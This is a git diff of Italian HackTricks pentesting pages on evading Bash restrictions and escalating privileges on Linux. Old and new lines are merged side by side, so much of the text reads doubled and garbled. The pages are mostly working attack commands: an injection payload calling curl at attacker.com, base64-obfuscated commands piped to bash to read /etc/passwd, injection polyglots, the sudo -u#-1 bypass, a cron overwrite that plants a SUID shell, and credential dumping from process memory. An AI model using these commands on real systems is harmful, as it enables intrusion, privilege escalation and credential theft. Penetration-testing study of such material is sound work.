Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**Gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=bypass-bash-restrictions) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti **comunitari più avanzati** al mondo.\ Usa [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=bypass-bash-restrictions) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti comunitari **più avanzati** al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %}
## Bypass delle Limitazioni Comuni ## Elusioni delle Limitazioni Comuni
### Shell Inversa ### Shell Inversa
```bash ```bash
@ -98,7 +99,7 @@ mi # This will throw an error
whoa # This will throw an error whoa # This will throw an error
!-1!-2 # This will execute whoami !-1!-2 # This will execute whoami
``` ```
### Ignora gli spazi vietati ### Ignora spazi vietati
```bash ```bash
# {form} # {form}
{cat,lol.txt} # cat lol.txt {cat,lol.txt} # cat lol.txt
@ -125,12 +126,12 @@ echo "ls\x09-l" | bash
$u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined $u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined
uname!-1\-a # This equals to uname -a uname!-1\-a # This equals to uname -a
``` ```
### Ignora backslash e slash ### Ignorare backslash e slash
```bash ```bash
cat ${HOME:0:1}etc${HOME:0:1}passwd cat ${HOME:0:1}etc${HOME:0:1}passwd
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd
``` ```
### Ignora i tubi ### Ignorare i tubi
```bash ```bash
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==) bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dkIHwgZ3JlcCAzMw==)
``` ```
@ -165,7 +166,7 @@ Potresti utilizzare **burpcollab** o [**pingb**](http://pingb.in) ad esempio.
### Builtins ### Builtins
Nel caso in cui non sia possibile eseguire funzioni esterne e si abbia accesso solo a un **set limitato di builtins per ottenere RCE**, ci sono alcuni trucchi utili per farlo. Di solito **non sarà possibile utilizzare tutti** i **builtins**, quindi dovresti **conoscere tutte le tue opzioni** per cercare di eludere la prigione. Idea da [**devploit**](https://twitter.com/devploit).\ Nel caso in cui non sia possibile eseguire funzioni esterne e si abbia accesso solo a un **set limitato di builtins per ottenere RCE**, ci sono alcuni trucchi utili per farlo. Di solito **non sarà possibile utilizzare tutti** i **builtins**, quindi dovresti **conoscere tutte le tue opzioni** per cercare di eludere la prigione. Idea da [**devploit**](https://twitter.com/devploit).\
Prima di tutto controlla tutti i [**shell builtins**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Quindi ecco alcuni **consigli**: Prima di tutto controlla tutti i [**shell builtins**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Ecco alcune **raccomandazioni**:
```bash ```bash
# Get list of builtins # Get list of builtins
declare builtins declare builtins
@ -222,14 +223,12 @@ if [ "a" ]; then echo 1; fi # Will print hello!
1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
/*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
``` ```
### Ignorare le espressioni regolari potenziali ### Ignorare le regex potenziali
```bash ```bash
# A regex that only allow letters and numbers might be vulnerable to new line characters # A regex that only allow letters and numbers might be vulnerable to new line characters
1%0a`curl http://attacker.com` 1%0a`curl http://attacker.com`
``` ```
### Bashfuscator ### Bashfuscator
Il **Bashfuscator** è uno strumento che consente di bypassare le restrizioni di Bash per eseguire comandi nonostante siano state imposte limitazioni.
```bash ```bash
# From https://github.com/Bashfuscator/Bashfuscator # From https://github.com/Bashfuscator/Bashfuscator
./bashfuscator -c 'cat /etc/passwd' ./bashfuscator -c 'cat /etc/passwd'
@ -318,7 +317,7 @@ ln /f*
``` ```
## Bypass di Lettura-Sola/Esecuzione-Nessuna/Esecuzione-Distroless ## Bypass di Lettura-Sola/Esecuzione-Nessuna/Esecuzione-Distroless
Se ti trovi all'interno di un filesystem con le **protezioni di sola lettura e noexec** o anche in un container distroless, ci sono comunque modi per **eseguire binari arbitrari, persino una shell!:** Se ti trovi all'interno di un filesystem con le **protezioni di sola lettura e noexec** o addirittura in un container distroless, ci sono comunque modi per **eseguire binari arbitrari, persino una shell!:**
{% content-ref url="bypass-fs-protections-read-only-no-exec-distroless/" %} {% content-ref url="bypass-fs-protections-read-only-no-exec-distroless/" %}
[bypass-fs-protections-read-only-no-exec-distroless](bypass-fs-protections-read-only-no-exec-distroless/) [bypass-fs-protections-read-only-no-exec-distroless](bypass-fs-protections-read-only-no-exec-distroless/)
@ -341,20 +340,21 @@ Se ti trovi all'interno di un filesystem con le **protezioni di sola lettura e n
\ \
Utilizza [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=bypass-bash-restrictions) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Utilizza [**Trickest**](https://trickest.com/?utm\_source=hacktricks\&utm\_medium=text\&utm\_campaign=ppc\&utm\_term=trickest\&utm\_content=bypass-bash-restrictions) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'Accesso Oggi:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %}
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Supporta HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}

View file

@ -1,24 +1,25 @@
# Escalazione dei privilegi su Linux # Escalazione dei privilegi su Linux
{% hint style="success" %}
Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
## Informazioni di Sistema ## Informazioni di Sistema
### Informazioni sul sistema operativo ### Informazioni sul sistema operativo
Iniziamo ad acquisire conoscenze sul sistema operativo in esecuzione Iniziamo ad acquisire conoscenze sul sistema operativo in esecuzione.
```bash ```bash
(cat /proc/version || uname -a ) 2>/dev/null (cat /proc/version || uname -a ) 2>/dev/null
lsb_release -a 2>/dev/null # old, not by default on many systems lsb_release -a 2>/dev/null # old, not by default on many systems
@ -26,7 +27,7 @@ cat /etc/os-release 2>/dev/null # universal on modern systems
``` ```
### Percorso ### Percorso
Se **hai le autorizzazioni di scrittura su una qualsiasi cartella all'interno della variabile `PATH`** potresti essere in grado di dirottare alcune librerie o binari: Se **hai le autorizzazioni di scrittura su una qualsiasi cartella all'interno della variabile `PATH`**, potresti essere in grado di dirottare alcune librerie o binari:
```bash ```bash
echo $PATH echo $PATH
``` ```
@ -47,7 +48,7 @@ searchsploit "Linux Kernel"
Puoi trovare un buon elenco di kernel vulnerabili e alcuni **exploit già compilati** qui: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) e [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\ Puoi trovare un buon elenco di kernel vulnerabili e alcuni **exploit già compilati** qui: [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits) e [exploitdb sploits](https://github.com/offensive-security/exploitdb-bin-sploits/tree/master/bin-sploits).\
Altri siti dove puoi trovare alcuni **exploit già compilati**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack) Altri siti dove puoi trovare alcuni **exploit già compilati**: [https://github.com/bwbwbwbw/linux-exploit-binaries](https://github.com/bwbwbwbw/linux-exploit-binaries), [https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack](https://github.com/Kabot/Unix-Privilege-Escalation-Exploits-Pack)
Per estrarre tutte le versioni di kernel vulnerabili da quel sito web, puoi fare: Per estrarre tutte le versioni di kernel vulnerabili da quel sito web puoi fare:
```bash ```bash
curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' ' curl https://raw.githubusercontent.com/lucyoa/kernel-exploits/master/README.md 2>/dev/null | grep "Kernels: " | cut -d ":" -f 2 | cut -d "<" -f 1 | tr -d "," | tr ' ' '\n' | grep -v "^\d\.\d$" | sort -u -r | tr '\n' ' '
``` ```
@ -57,7 +58,7 @@ Gli strumenti che potrebbero aiutare a cercare exploit del kernel sono:
[linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\ [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (eseguire NEL vittima, controlla solo gli exploit per il kernel 2.x) [linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (eseguire NEL vittima, controlla solo gli exploit per il kernel 2.x)
Sempre **cercare la versione del kernel su Google**, forse la tua versione del kernel è scritta in qualche exploit del kernel e quindi sarai sicuro che questo exploit è valido. **Ricerca sempre la versione del kernel su Google**, forse la tua versione del kernel è scritta in qualche exploit del kernel e quindi sarai sicuro che questo exploit è valido.
### CVE-2016-5195 (DirtyCow) ### CVE-2016-5195 (DirtyCow)
@ -87,7 +88,7 @@ sudo -u#-1 /bin/bash
``` ```
### Verifica della firma Dmesg fallita ### Verifica della firma Dmesg fallita
Controlla **la macchina smasher2 di HTB** per un **esempio** di come questa vulnerabilità potrebbe essere sfruttata Controlla **smasher2 box di HTB** per un **esempio** di come questa vulnerabilità potrebbe essere sfruttata
```bash ```bash
dmesg 2>/dev/null | grep "signature" dmesg 2>/dev/null | grep "signature"
``` ```
@ -98,7 +99,7 @@ date 2>/dev/null #Date
lscpu #CPU info lscpu #CPU info
lpstat -a 2>/dev/null #Printers info lpstat -a 2>/dev/null #Printers info
``` ```
## Enumerare le difese possibili ## Elenca le possibili difese
### AppArmor ### AppArmor
```bash ```bash
@ -113,8 +114,6 @@ echo "Not found AppArmor"
fi fi
``` ```
### Grsecurity ### Grsecurity
Grsecurity è una collezione di patch per il kernel Linux che include miglioramenti alla sicurezza del kernel e funzionalità avanzate di protezione.
```bash ```bash
((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity") ((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity")
``` ```
@ -123,18 +122,20 @@ Grsecurity è una collezione di patch per il kernel Linux che include migliorame
(which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX") (which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX")
``` ```
### Execshield ### Execshield
Execshield è una tecnica di protezione proattiva che può essere utilizzata per prevenire attacchi di esecuzione di codice arbitrario.
```bash ```bash
(grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield") (grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield")
``` ```
### SElinux ### SElinux
SElinux (Security-Enhanced Linux) è un meccanismo di controllo degli accessi obbligatorio (MAC) implementato nel kernel Linux. SElinux viene utilizzato per proteggere il sistema limitando i privilegi degli utenti e dei processi. SELinux (Security-Enhanced Linux) è un meccanismo di controllo degli accessi obbligatorio implementato nel kernel Linux.
```bash ```bash
(sestatus 2>/dev/null || echo "Not found sestatus") (sestatus 2>/dev/null || echo "Not found sestatus")
``` ```
### ASLR ### ASLR
Address Space Layout Randomization (ASLR) è una tecnica di protezione che mira a prevenire attacchi sfruttando la conoscenza della posizione esatta della memoria di sistema. Con ASLR abilitato, le posizioni della memoria vengono casualizzate, rendendo più difficile per un attaccante prevedere dove si trovano le diverse parti della memoria. ASLR (Address Space Layout Randomization) è una tecnica di protezione che mira a rendere più difficile per un attaccante sfruttare vulnerabilità di esecuzione arbitraria. Con ASLR abilitato, gli indirizzi di memoria vengono casualizzati, rendendo difficile prevedere la posizione esatta in cui si trova una specifica area di memoria.
```bash ```bash
cat /proc/sys/kernel/randomize_va_space 2>/dev/null cat /proc/sys/kernel/randomize_va_space 2>/dev/null
#If 0, not enabled #If 0, not enabled
@ -149,7 +150,7 @@ Se ti trovi all'interno di un container Docker, puoi provare a evadere da esso:
## Dischi ## Dischi
Controlla **cosa è montato e smontato**, dove e perché. Se qualcosa risulta smontato, potresti provare a montarlo e controllare informazioni private. Controlla **cosa è montato e smontato**, dove e perché. Se qualcosa è smontato, potresti provare a montarlo e controllare informazioni private.
```bash ```bash
ls /dev 2>/dev/null | grep -i "sd" ls /dev 2>/dev/null | grep -i "sd"
cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null
@ -162,14 +163,14 @@ Enumerare i binari utili
```bash ```bash
which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null
``` ```
Inoltre, controlla se **è installato qualsiasi compilatore**. Questo è utile se hai bisogno di utilizzare qualche exploit del kernel poiché è consigliabile compilarlo nella macchina in cui lo utilizzerai (o in una simile) Inoltre, controlla se **è installato un qualsiasi compilatore**. Questo è utile se hai bisogno di utilizzare qualche exploit del kernel poiché è consigliabile compilarlo nella macchina in cui lo utilizzerai (o in una simile)
```bash ```bash
(dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/")
``` ```
### Software Vulnerabile Installato ### Software Vulnerabile Installato
Controlla la **versione dei pacchetti e dei servizi installati**. Potrebbe esserci una vecchia versione di Nagios (per esempio) che potrebbe essere sfruttata per ottenere privilegi elevati...\ Verifica la **versione dei pacchetti e dei servizi installati**. Potrebbe esserci una vecchia versione di Nagios (per esempio) che potrebbe essere sfruttata per l'escalation dei privilegi...\
Si consiglia di controllare manualmente la versione del software installato più sospetto. Si consiglia di verificare manualmente la versione del software installato più sospetto.
```bash ```bash
dpkg -l #Debian dpkg -l #Debian
rpm -qa #Centos rpm -qa #Centos
@ -182,13 +183,13 @@ _Nota che questi comandi mostreranno molte informazioni che saranno per lo più
## Processi ## Processi
Dai un'occhiata a **quali processi** vengono eseguiti e controlla se qualche processo ha **più privilegi del dovuto** (forse un tomcat eseguito da root?) Dai un'occhiata a **quali processi** vengono eseguiti e controlla se qualche processo ha **più privilegi del dovuto** (forse un tomcat in esecuzione da root?)
```bash ```bash
ps aux ps aux
ps -ef ps -ef
top -n 1 top -n 1
``` ```
Sempre controlla la presenza di [**debugger electron/cef/chromium** in esecuzione, potresti sfruttarlo per ottenere privilegi](electron-cef-chromium-debugger-abuse.md). **Linpeas** li rileva controllando il parametro `--inspect` nella riga di comando del processo.\ Sempre controlla la presenza di **debugger electron/cef/chromium** in esecuzione, potresti sfruttarlo per escalare i privilegi. **Linpeas** li rileva controllando il parametro `--inspect` nella riga di comando del processo.\
Inoltre **verifica i tuoi privilegi sui binari dei processi**, potresti sovrascrivere qualcun altro. Inoltre **verifica i tuoi privilegi sui binari dei processi**, potresti sovrascrivere qualcun altro.
### Monitoraggio dei processi ### Monitoraggio dei processi
@ -197,7 +198,7 @@ Puoi utilizzare strumenti come [**pspy**](https://github.com/DominicBreuker/pspy
### Memoria dei processi ### Memoria dei processi
Alcuni servizi di un server salvano le **credenziali in chiaro nella memoria**.\ Alcuni servizi di un server salvano **credenziali in chiaro all'interno della memoria**.\
Normalmente avrai bisogno di **privilegi di root** per leggere la memoria dei processi che appartengono ad altri utenti, quindi questo è di solito più utile quando sei già root e vuoi scoprire ulteriori credenziali.\ Normalmente avrai bisogno di **privilegi di root** per leggere la memoria dei processi che appartengono ad altri utenti, quindi questo è di solito più utile quando sei già root e vuoi scoprire ulteriori credenziali.\
Tuttavia, ricorda che **come utente normale puoi leggere la memoria dei processi di tua proprietà**. Tuttavia, ricorda che **come utente normale puoi leggere la memoria dei processi di tua proprietà**.
@ -206,7 +207,7 @@ Nota che al giorno d'oggi la maggior parte delle macchine **non consente ptrace
Il file _**/proc/sys/kernel/yama/ptrace\_scope**_ controlla l'accessibilità di ptrace: Il file _**/proc/sys/kernel/yama/ptrace\_scope**_ controlla l'accessibilità di ptrace:
* **kernel.yama.ptrace\_scope = 0**: tutti i processi possono essere debuggati, purché abbiano lo stesso uid. Questo è il modo classico di funzionamento di ptrace. * **kernel.yama.ptrace\_scope = 0**: tutti i processi possono essere debuggati, purché abbiano lo stesso uid. Questo è il modo classico di come funzionava il ptracing.
* **kernel.yama.ptrace\_scope = 1**: solo un processo padre può essere debuggato. * **kernel.yama.ptrace\_scope = 1**: solo un processo padre può essere debuggato.
* **kernel.yama.ptrace\_scope = 2**: Solo l'amministratore può utilizzare ptrace, poiché richiede la capacità CAP\_SYS\_PTRACE. * **kernel.yama.ptrace\_scope = 2**: Solo l'amministratore può utilizzare ptrace, poiché richiede la capacità CAP\_SYS\_PTRACE.
* **kernel.yama.ptrace\_scope = 3**: Nessun processo può essere tracciato con ptrace. Una volta impostato, è necessario riavviare per abilitare nuovamente il tracciamento. * **kernel.yama.ptrace\_scope = 3**: Nessun processo può essere tracciato con ptrace. Una volta impostato, è necessario riavviare per abilitare nuovamente il tracciamento.
@ -260,9 +261,9 @@ Tipicamente, `/dev/mem` è leggibile solo da **root** e dal gruppo **kmem**.
``` ```
strings /dev/mem -n10 | grep -i PASS strings /dev/mem -n10 | grep -i PASS
``` ```
### ProcDump per Linux ### ProcDump per linux
ProcDump è una rielaborazione per Linux dello strumento classico ProcDump della suite di strumenti Sysinternals per Windows. Puoi trovarlo su [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) ProcDump è una rielaborazione per Linux del classico strumento ProcDump della suite di strumenti Sysinternals per Windows. Puoi trovarlo su [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)
``` ```
procdump -p 1714 procdump -p 1714
@ -324,7 +325,7 @@ Lo strumento [**https://github.com/huntergregal/mimipenguin**](https://github.co
| Apache2 (Sessioni di autenticazione di base HTTP attive) | apache2 | | Apache2 (Sessioni di autenticazione di base HTTP attive) | apache2 |
| OpenSSH (Sessioni SSH attive - Uso di Sudo) | sshd: | | OpenSSH (Sessioni SSH attive - Uso di Sudo) | sshd: |
#### Search Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc) #### Cerca Regexes/[truffleproc](https://github.com/controlplaneio/truffleproc)
```bash ```bash
# un truffleproc.sh against your current Bash shell (e.g. $$) # un truffleproc.sh against your current Bash shell (e.g. $$)
./truffleproc.sh $$ ./truffleproc.sh $$
@ -340,7 +341,7 @@ Reading symbols from /lib/x86_64-linux-gnu/librt.so.1...
``` ```
## Compiti pianificati/Cron jobs ## Compiti pianificati/Cron jobs
Verifica se qualche compito pianificato è vulnerabile. Forse puoi approfittare di uno script eseguito da root (vulnerabilità del wildcard? puoi modificare file che root utilizza? usare symlink? creare file specifici nella directory che root utilizza?). Verifica se qualche compito pianificato è vulnerabile. Forse puoi approfittare di uno script eseguito da root (vulnerabilità del wildcard? puoi modificare file che root utilizza? utilizzare symlink? creare file specifici nella directory che root utilizza?).
```bash ```bash
crontab -l crontab -l
ls -al /etc/cron* /etc/at* ls -al /etc/cron* /etc/at*
@ -375,7 +376,7 @@ Leggi la seguente pagina per ulteriori trucchi di sfruttamento dei caratteri jol
### Sovrascrittura dello script Cron e symlink ### Sovrascrittura dello script Cron e symlink
Se **puoi modificare uno script cron** eseguito da root, puoi ottenere facilmente una shell: Se **puoi modificare uno script Cron** eseguito da root, puoi ottenere una shell molto facilmente:
```bash ```bash
echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT> echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > </PATH/CRON/SCRIPT>
#Wait until it is executed #Wait until it is executed
@ -393,7 +394,7 @@ Ad esempio, per **monitorare ogni 0,1s per 1 minuto**, **ordinare per comandi me
```bash ```bash
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
``` ```
**Puoi anche utilizzare** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (questo monitorerà e elencherà ogni processo che viene avviato). **È possibile utilizzare anche** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (questo monitorerà e elencherà ogni processo che viene avviato).
### Lavori cron invisibili ### Lavori cron invisibili
@ -405,20 +406,20 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do
### File _.service_ scrivibili ### File _.service_ scrivibili
Verifica se puoi scrivere un qualsiasi file `.service`, se puoi, **potresti modificarlo** in modo che **esegua** il tuo **backdoor quando** il servizio viene **avviato**, **riavviato** o **arrestato** (potrebbe essere necessario attendere il riavvio della macchina).\ Verifica se puoi scrivere un qualsiasi file `.service`, se puoi, potresti modificarlo in modo che **esegua** il tuo **backdoor quando** il servizio viene **avviato**, **riavviato** o **arrestato** (potresti dover aspettare il riavvio della macchina).\
